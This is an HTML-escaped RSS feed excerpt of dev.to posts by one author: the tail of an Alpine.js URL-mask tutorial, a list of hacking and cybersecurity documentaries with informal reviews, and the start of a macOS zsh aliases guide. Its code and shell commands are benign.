        &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;addHttps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This JavaScript function, &lt;code&gt;addHttps&lt;/code&gt;, checks if the input begins with &lt;code&gt;https://&lt;/code&gt;. If not, it automatically prepends this to the user's input. It’s a simple yet elegant solution to ensure URLs are formatted correctly right from the start.&lt;/p&gt;

&lt;h3&gt;
  
  
  Result
&lt;/h3&gt;

&lt;p&gt;The final result looks something like this: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2F4317dCG6%2Falpinemaskplugin.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2F4317dCG6%2Falpinemaskplugin.gif" alt="Alpine.js Mask Plugin for URLs, by sudorealm"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What's even cooler is that it also works when you paste entire URLs without the &lt;code&gt;https://&lt;/code&gt; prefix. You should definitely give it a try on your Alpine.js projects. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;And there you have it — a seamless integration of the Alpine.js Mask Plugin to elegantly solve a common URL input formatting issue. The final result, as demonstrated, not only enhances user experience by automatically adding 'https://' to URL inputs but also maintains a clean and consistent data format. This practical example showcases the power of Alpine.js in simplifying complex problems with minimal code, affirming its utility in web development.&lt;/p&gt;

&lt;p&gt;Remember, the beauty of Alpine.js and its plugins lies in their simplicity and efficiency. By exploring and implementing such tools, we can create more intuitive and user-friendly web applications. I hope this example from Sudorealm inspires you to experiment with Alpine.js in your projects and discover the many ways it can streamline your development process.&lt;/p&gt;




&lt;h3&gt;
  
  
  You are invited to the party! 🎉
&lt;/h3&gt;

&lt;p&gt;If you found this guide on using the Alpine.js Mask Plugin helpful, there's plenty more where that came from! I invite you to join &lt;a href="https://sudorealm.com/register" rel="noopener noreferrer"&gt;Sudorealm&lt;/a&gt;, an aspiring Nerdom with article topics ranging from the world of gaming, anime, and manga to the intricate realms of coding and hacking&lt;/p&gt;

</description>
      <category>alpinejs</category>
      <category>laravel</category>
      <category>maskplugin</category>
      <category>frontend</category>
    </item>
    <item>
      <title>Hack the System: Unveiling Cybersecurity Secrets through Documentaries</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Tue, 05 Dec 2023 07:51:41 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/hack-the-system-unveiling-cybersecurity-secrets-through-documentaries-4j0</link>
      <guid>https://dev.to/d3adr1nger/hack-the-system-unveiling-cybersecurity-secrets-through-documentaries-4j0</guid>
      <description>&lt;p&gt;Yo, cyber sleuth! Ready to jack into the hacker realm? This list ain't your regular code – it's the elite script of hacker lore. From console cowboys to keyboard warriors, from white hats to black hats, we're decoding it all. And hey, I've got mad skills in curating the perfect docu-dive. This lineup? It's the stuff hackers rave about. So, boot up, connect, and let's surf the digital wave through their lens. Get set for a byte-sized, high-octane cyber quest!&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Why Documentaries and not Movies?&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The choice to focus on documentaries about hackers rather than movies is grounded in the pursuit of authenticity and depth of understanding. Documentaries offer a window into the real world of cybersecurity, providing insights that are often grounded in fact and driven by actual events. They delve deep into the complexities of the subject, offering nuanced perspectives that are usually absent in fictionalized movie portrayals.&lt;br&gt;
When you embrace the &lt;strong&gt;hacker culture&lt;/strong&gt; you need to be aware of all that is hacking, the leaders, the movements, the followers, the villains, the heroes, the beliefs.&lt;br&gt;&lt;br&gt;
Certainly, movies serve as an excellent introduction to the topic – there's no denying that! As an avid film junkie, I appreciate their blend of action, drama, and excitement, often sprinkled with elements of real-life truths. This is why I am currently maintaining a movie list in Sudorealm: &lt;strong&gt;&lt;a href="https://sudorealm.com/blog/best-movies-for-hackers" rel="noopener noreferrer"&gt;Best movies for Hackers.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/FnGJfc18tDDHy/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/FnGJfc18tDDHy/giphy.gif" alt="hack the planet" width="500" height="221"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But...&lt;/strong&gt; Most of the time is nothing but pure ol' classic fiction. The hackers are teenage typing machines and they use flashy keyboards while wearing black hoodies and V masks, hacking their way through extremely secure bank networks without even having to leave their chairs. I mean... if you are a penetration testing professional, is almost an insult.&lt;/p&gt;

&lt;p&gt;I mean... &lt;strong&gt;&lt;a href="https://www.youtube.com/watch?reload=9&amp;amp;v=msX4oAXpvUE" rel="noopener noreferrer"&gt;NCIS Hacking Scene.&lt;/a&gt;&lt;/strong&gt; Come on now! WTF is this? Multi-hand hacking through the same keyboard? Really!???&lt;/p&gt;

&lt;p&gt;But hey, we like that, it's cool! The rush you get while watching these films may even get you hyped and all excited about hacking. But you should also find out what a real hacker looks like.&lt;/p&gt;

&lt;p&gt;Thus you advance to the next level of intellectual hacking entertainment, &lt;strong&gt;Documentaries.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This short Countdown list is for the impatient:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Terms and Conditions may Apply&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Great Hack&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Social Dilemma&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Citizenfour&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DEFCON: The Documentary&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TPB AFK: The Pirate Bay Away From Keyboard&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deep Web: Story of the Silk Road&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shiny_Flakes The Teenage Drug Lord&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CYBERBUNKER: The Criminal Underworld&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;We are Legion: The Story of the Hacktivists&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Freedom Downtime (2001)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Internet's Own Boy: The Story of Aaron Swartz&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Zero Days: STUXNET Virus&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Terms and Conditions may Apply
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HzL9vNnt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/KYgnYqtK/Termsmayapply.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HzL9vNnt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/KYgnYqtK/Termsmayapply.jpg" alt="terms and conditions may apply documentary" width="512" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A documentary that exposes what corporations and governments learn about people through Internet and cell phone usage, and what can be done about it ... if anything.&lt;br&gt;&lt;br&gt;
The story is as old as time. Big whales know everything. But this documentary made me feel so stupid for all these countless accepts I have clicked in the past and for all the unavoidable accepts I am still clicking today.&lt;/p&gt;

&lt;p&gt;A good start for this Documentary Trip!&lt;/p&gt;

&lt;h2&gt;
  
  
  The Great Hack
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zMo0waji--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/ZRt6v8Lw/the-Great-Hack.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zMo0waji--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/ZRt6v8Lw/the-Great-Hack.jpg" alt="The Great Hack Poster" width="512" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Explore how a data company named Cambridge Analytica came to symbolize the dark side of social media in the wake of the 2016 U.S. presidential election.&lt;/p&gt;

&lt;p&gt;A 6 year Leap to 2019 and we witness the power of data with this great Documentary! The Great Hack shows us how an organization with the right amount of data can easily “hack” masses and determine Democratic decisions by beautifully crafting short and to-the-point advertisements! You will be shocked by this... I hope you were not a part of the Hacked ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Social Dilemma
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DzSf_5Ry--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/mrSh56qz/social-Dilemma-Docu-1.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DzSf_5Ry--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/mrSh56qz/social-Dilemma-Docu-1.jpg" alt="The Social Dilemma documentary poster" width="800" height="374"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For those in the hacking and cybersecurity community, 'The Social Dilemma' is a must-watch documentary that shifts the narrative from traditional concepts of system hacking to the more nuanced and significant issue of manipulating human minds through social media.&lt;/p&gt;

&lt;p&gt;'The Social Dilemma' is an essential watch for anyone in the digital domain, offering a vital perspective on the power and responsibility that accompanies technological expertise. This documentary is more than just an exploration of digital trends; it serves as an urgent call to action for hackers to recognize the profound effects of their work in a world increasingly influenced by digital interconnectivity and psychological persuasion.&lt;/p&gt;

&lt;h2&gt;
  
  
  Citizenfour
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TDcZQ6N4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/mDTxwHwW/citizenfour.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TDcZQ6N4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/mDTxwHwW/citizenfour.jpg" alt="Citizenfour Poster" width="512" height="288"&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The NSA's illegal surveillance techniques were leaked to the public by one of the agency's employees, Edward Snowden, in the form of thousands of classified documents distributed to the press.&lt;/p&gt;

&lt;p&gt;This is one of my favorites. The Oscar-winning, real-life thriller Citizenfour is a real nail-biter, giving us the moments of Snowden’s life after being declared a wanted man by the NSA.&lt;br&gt;&lt;br&gt;
The message of this Documentary is as clear as ice. All you need to do is hop in.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defcon: The Documentary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--IaHrhyes--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/wjh10Zqj/DEFCON-The-Doc.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--IaHrhyes--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/wjh10Zqj/DEFCON-The-Doc.jpg" alt="Defcon: The Documentary" width="512" height="288"&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DEFCON is the world's largest hacking conference, held in Las Vegas, Nevada. In 2012 it was held for the 20th time. The conference has strict no-filming policies, but for DEFCON 20, a documentary crew was allowed full access to the event. The film follows the four days of the conference, the events, and people (attendees and staff), and covers the history and the philosophy behind DEFCON's success and unique experience.&lt;/p&gt;

&lt;p&gt;Get a glimpse of the magic of the hacking community!&lt;/p&gt;

&lt;p&gt;I'll never forget the time I found out about DEFCON. GOD was I excited, I wanted to be a part of this spectacular event so badly that I told myself that I would never stop hacking until I got an invitation or made the money for the ticket!&lt;/p&gt;

&lt;p&gt;I hope you too share my excitement.&lt;/p&gt;

&lt;h2&gt;
  
  
  TPB AFK: The Pirate Bay Away From Keyboard
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gKK_NGVE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/LXDc08CY/tpb-afk.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gKK_NGVE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/LXDc08CY/tpb-afk.jpg" alt="TPB AFK Poster" width="512" height="288"&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An intellectual freedoms documentary based on the interpersonal triumphs, and defeats of the three main characters against the largest industry in the known universe. The media industry.&lt;/p&gt;

&lt;p&gt;Do you know The Pirate Bay? Do you know who made it? Do you know what these guys had to give up just so you can download your favorite movie or game? Do I need to keep going?&lt;/p&gt;

&lt;p&gt;Go to a Pirate Bay proxy, install a free VPN, and download this Documentary.&lt;/p&gt;

&lt;h2&gt;
  
  
  Deep Web: Story of the Silk Road
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wYFv2N7C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/tCXtzzGf/deep-web.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wYFv2N7C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/tCXtzzGf/deep-web.jpg" alt="Deep Web Poster" width="512" height="288"&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A feature documentary that explores the rise of a new Internet; decentralized, encrypted, dangerous, and beyond the law; with particular focus on the FBI capture of the Tor hidden service Silk Road, and the judicial aftermath.&lt;/p&gt;

&lt;p&gt;Plainly interesting for everyone, especially hackers. Why especially hackers you ask? Don’t you want to know how a guy behind numerous layers of masked IPs got caught? I would be extremely interested to find out all about it.&lt;/p&gt;

&lt;p&gt;Also, we live in the world of cryptos, crypto this, crypto that, we have cryptos named after memes for god’s sake. Well, the underground black hat hackers, the online drug dealers, and the criminals of the underworld had a playground. Its name? Silk Road. The online onion-routed marketplace is hidden deeply inside the gutters of an unknown internet world where one could easily give Bitcoins and buy anything or even… anyone. ta da daaaaaa!&lt;/p&gt;

&lt;h2&gt;
  
  
  Shiny_Flakes The Teenage Drug Lord
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sfBYeXoE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.imgur.com/u8gkhIg.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sfBYeXoE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.imgur.com/u8gkhIg.jpg" alt="Shiny Flakes The Teenage Drug Lord Netflix Documentary poster" width="800" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Maximilian Schmidt was just 19 years old when he realized there was some serious money to be made online selling drugs.  &lt;/p&gt;

&lt;p&gt;When you are a kid, you really believe that nothing can hurt you, what can go wrong right? I am smarter than anyone, you think to yourself... Why not throw around in the wild a WordPress site and sell drugs...&lt;br&gt;&lt;br&gt;
To be honest with you, this Documentary was enjoyable, but in my humble opinion there are a bunch of holes in Schmidt's story, I mean... can you really do all this hustle by yourself? Can you really store more than 100 kgs of very illegal drugs in your room without your mom EVER noticing anything unusual?  &lt;/p&gt;

&lt;h2&gt;
  
  
  CYBERBUNKER: The Criminal Underworld
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3wv6X2ew--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/Nj15cT1h/cyberbunker-Poster.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3wv6X2ew--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/Nj15cT1h/cyberbunker-Poster.jpg" alt="CYBERBUNKER: The Criminal Underworld poster" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This documentary led me to deeply examine my ethics in hacking and beyond. It really made me take a hard look in the mirror and decide whether I agreed with what the main characters advocated or not. You'll understand what I mean once you see it for yourselves.&lt;/p&gt;

&lt;p&gt;Cyberbunker: The Criminal Underworld" is a riveting documentary that delves into the shadowy world of cybercrime. Set against the backdrop of a former NATO bunker in Germany, this film unravels the complex operations of the 'Cyberbunker' - a notorious data center alleged to have hosted a range of illegal activities, from the sale of drugs and weapons to the distribution of child pornography. The documentary provides an unprecedented look into how this bunker, operated under the guise of a legitimate data haven, became a hub for dark web activities. Through interviews with law enforcement officials, cybersecurity experts, and insiders, the film explores the intricate network of digital crime and the challenges faced in combating it. It's a gripping tale that not only exposes the underbelly of the internet but also raises critical questions about the ethics and implications of digital privacy and security.&lt;/p&gt;

&lt;h2&gt;
  
  
  We are Legion: The Story of the Hacktivists
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jH0qXF4N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/mDYCYPXB/wearelegion.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jH0qXF4N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/mDYCYPXB/wearelegion.jpg" alt="We are Legion Poster" width="512" height="288"&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A documentary on the workings and beliefs of the self-described "hacktivist" collective, Anonymous.&lt;/p&gt;

&lt;p&gt;Ooooh!!! Now we dive into the faces of hacking, Anonymous. Everybody has heard about them and everyone wants to join them, but what if I told you that you are already them? You will find out what I am talking about by watching this very cool Documentary about the Anonymous hacktivists and their work.&lt;/p&gt;

&lt;p&gt;Let me end this with a movie quote:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Beneath this mask, there is more than flesh, beneath this mask there is an idea, and ideas are bulletproof&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Freedom Downtime (2001)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--foCR1INb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/W1zGBb3w/Freedom-downtime.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--foCR1INb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/W1zGBb3w/Freedom-downtime.jpg" alt="Freedom Downtime Poster" width="512" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A feature-length documentary about the Free Kevin movement and the hacker world.&lt;/p&gt;

&lt;p&gt;Have you heard about a guy called Kevin Mitnick? No…? He got jailed for hacking.&lt;/p&gt;

&lt;p&gt;Oh yeah… I forgot to mention that while this guy, oops miss clicked, while this GOD was behind bars he was forbidden from accessing any payphone, yeap, payphone! Because the judge was convinced that Kevin was able to whistle codes and start a Nuclear War. I am not joking. Start with this Documentary then read his book Ghost in the Wires. You are in for a treat.&lt;/p&gt;

&lt;p&gt;Get your hands on his book with all the crazy details about his adventures: &lt;strong&gt;&lt;a href="https://geni.us/mitnickhost" rel="noopener noreferrer"&gt;Ghost In The Wires &lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Internet's Own Boy: The Story of Aaron Swartz
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MjUMXe-w--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/fRPcDnSn/internets-Own-Boy.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MjUMXe-w--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/fRPcDnSn/internets-Own-Boy.jpg" alt="The internet's own boy: The Story of Aaron Swartz" width="512" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The story of programming prodigy and information activist Aaron Swartz, who took his own life at the age of 26.&lt;br&gt;
Web feed RSS, the Markdown publishing format, the organization Creative Commons, web-py, and the news site Reddit are a few of Aaron’s children. I don’t really know where to start. He was a Harvard fellow researcher, hacked MIT and is a member of the Internet Hall of Fame. This genius took his own life.  &lt;/p&gt;

&lt;p&gt;This Documentary amazed me and made me feel inspired but also created an emotional hole. It gives a portrait of a brilliant, driven, and passionate young man who is currently one of the iconic figures of the Internet community.&lt;/p&gt;

&lt;h2&gt;
  
  
  Zero Days: STUXNET Virus
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--H9MD-TZh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/prP8qP48/zer0days.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--H9MD-TZh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/prP8qP48/zer0days.jpg" alt="Zero Days poster" width="512" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A documentary focused on Stuxnet, a piece of self-replicating computer malware that the U.S. and Israel unleashed to destroy a key part of an Iranian nuclear facility, and which ultimately spread beyond its intended target.&lt;/p&gt;

&lt;p&gt;A zero-day vulnerability is a computer-software vulnerability that is unknown to, or unaddressed by, those who should be interested in mitigating the vulnerability.&lt;/p&gt;

&lt;p&gt;The USA and Israeli government gathered up a super team of hackers to code malware to f*cking cause an explosion in an Iranian nuclear plant. This really happened.&lt;br&gt;&lt;br&gt;
How can this Documentary not be the first choice?&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;🎥🎬 For the Hardcore Hacker Movie Fans&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;I know for a fact that more &lt;strong&gt;documentaries should&lt;/strong&gt; be included in the list! But I haven't seen them yet! And since I am planning to keep updating this &lt;strong&gt;list&lt;/strong&gt; I will include them when I see them. 🤓😏 &lt;/p&gt;

&lt;p&gt;So please feel free to comment down below your favorite Documentary about cybersecurity. Any Suggestions are very very welcome. &lt;/p&gt;

</description>
      <category>hacking</category>
      <category>documentaries</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>From Frustration to Efficiency: My Experience with Aliases on Mac Terminal</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Wed, 29 Nov 2023 08:27:28 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/from-frustration-to-efficiency-my-experience-with-aliases-on-mac-terminal-32d1</link>
      <guid>https://dev.to/d3adr1nger/from-frustration-to-efficiency-my-experience-with-aliases-on-mac-terminal-32d1</guid>
      <description>&lt;p&gt;Greetings people of Dec 👋. This is Thanos (or d3adr1nger, as I go in the e-hood) back with a bite-sized treat of tech wizardry. Today, we're diving into a secret corridor of the Mac Terminal – a warm alley full of surprises known as &lt;strong&gt;aliases&lt;/strong&gt;. Well... let's face it, I'm all about getting things done with minimal effort. Why type a paragraph when a word will do? That's the beauty of aliases – they're our sneaky shortcut in the command-line realm, turning tedious typing into a one-hit wonder. So, for my fellow efficiency enthusiasts (and yes, the proudly lazy among us), let's dive into the art of aliasing!"&lt;/p&gt;

&lt;p&gt;A command alias in computing is essentially a shortcut to run a specific command or set of commands. Think of it as a nickname you give to a longer command or a series of commands, so you don't have to type out the entire thing every time you want to execute it. In the context of the Mac Terminal, which typically runs the Zsh (Z Shell) as its default shell since macOS Catalina, aliases are incredibly handy for saving time and reducing repetitive typing.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;How-To: Crafting Your First Alias on Your MacBook&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;So let's get down to business ( 🎶 I don't got no time to play around, what is this? 🎶). Creating your first alias on your MacBook is like a walk in the park. Here’s a step-by-step guide to make you an alias pro in no time:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Open Terminal&lt;/strong&gt;: Let's start by firing up the Terminal. You can find it in your Applications folder under Utilities, or just hit &lt;code&gt;Command + Space&lt;/code&gt; and type "Terminal". Or if you've followed my &lt;a href="https://sudorealm.com/blog/iterm2-your-mac-s-terminal-upgraded" rel="noopener noreferrer"&gt;&lt;strong&gt;iTerm2: Your Mac's Terminal, Upgraded!&lt;/strong&gt;&lt;/a&gt; then feel free to follow using your ultra cool customized iTerm2. 🤓&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access the Zsh Configuration File&lt;/strong&gt;: Now, we need to edit your Zsh configuration file. This is where the magic happens. Type &lt;code&gt;open -e ~/.zshrc&lt;/code&gt; and hit Enter. This command will open your .zshrc file in TextEdit (or your default text editor). Or if you are an ultra nerd like me you can type: &lt;code&gt;nano ~/.zshrc&lt;/code&gt; to open up the config file directly in your terminal. ( You can become a nuclear nerd and use Vim too, but let's play safe for now 🍄). &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Let’s Make an Alias&lt;/strong&gt;: Time to create your very own alias. Think of a command you use often. For beginners, let’s start with something simple. Say, we want to create an alias for listing files in a detailed view. Normally, you’d type &lt;code&gt;ls -l&lt;/code&gt;. We'll make an alias &lt;code&gt;ll&lt;/code&gt; for this. In your .zshrc file, simply add a new line at the bottom: &lt;code&gt;alias ll="ls -l"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Save and Close the File&lt;/strong&gt;: After typing in your alias, save the file and close the editor. ( If you choose to open the file with nano, you can hit &lt;code&gt;ctrl + x&lt;/code&gt; then just &lt;code&gt;y&lt;/code&gt; and &lt;code&gt;enter&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Activate Your Alias&lt;/strong&gt;: For your alias to take effect, you need to reload your .zshrc file. Go back to the Terminal and type &lt;code&gt;source ~/.zshrc&lt;/code&gt;. This command refreshes your configuration, activating the alias.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test Your New Alias&lt;/strong&gt;: It's showtime! In the Terminal, type ll and hit Enter. Voilà! You should see a detailed list of files in your current directory, just as if you had typed ls -l.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That was it... How easy was that? But wait... It can become much easier! &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Creating Aliases with one command at a time&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;We can deploy our scripting knowledge and come up with a cool command that will create an alias on the spot. &lt;br&gt;
Let's see, let's say that we want to create an alias for quickly editing our zshrc. &lt;/p&gt;

